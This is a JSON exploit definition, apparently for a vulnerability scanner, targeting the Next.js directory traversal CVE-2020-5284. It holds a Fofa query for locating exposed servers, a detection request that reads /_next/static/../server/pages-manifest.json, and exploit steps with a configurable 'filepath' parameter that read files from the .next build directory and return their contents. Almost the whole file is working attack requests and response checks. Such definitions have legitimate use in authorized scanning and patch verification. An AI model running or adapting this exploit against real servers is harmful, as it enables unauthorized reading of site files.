{
  "Name": "Next.js Directory Traversal (CVE-2020-5284)",
  "Description": "Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.",
  "Product": "Next.js < 9.3.2",
  "Homepage": "https://github.com/vercel/next.js",
  "DisclosureDate": "2020-03-30",
  "Author": "ovi3",
  "FofaQuery": "header=\"Next.js\"",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": null,
  "RealReferences": [
    "https://github.com/zeit/next.js/releases/tag/v9.3.2",
    "https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-5284",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284"
  ],
  "HasExp": true,
  "ExpParams": [
    {
       "name": "filepath",
       "type": "input",
       "value": "../server/pages-manifest.json"
	}
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/_next/static/../server/pages-manifest.json"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "application/json",
            "variable": "$head"
          },
          {
            "bz": "",
            "operation": "regex",
            "type": "item",
            "value": "/_app\": \".*?_app\\.js",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
	"AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/_next/static/../server/pages-manifest.json"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "application/json",
            "variable": "$head"
          },
          {
            "bz": "",
            "operation": "regex",
            "type": "item",
            "value": "/_app\": \".*?_app\\.js",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
	  "SetVariable": [
		"output|lastbody"
	  ]
    },
	{
	  "Request": {
		"method": "GET",
		"uri": "/_next/static/{{{filepath}}}",
		"follow_redirect": false,
		"header": {},
		"data_type": "text",
		"data": ""
	  },
	  "ResponseTest": {
		"type": "group",
		"operation": "AND",
		"checks": [
		  {
			"type": "item",
			"variable": "$code",
			"operation": "==",
			"value": "200",
			"bz": ""
		  }
		]
	  },
	  "SetVariable": [
		"output|lastbody"
	  ]
	}
  ],
  "Tags": ["fileread"],
  "CVEIDs": [
    "CVE-2020-5284"
  ],
  "CVSSScore": "4.3",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}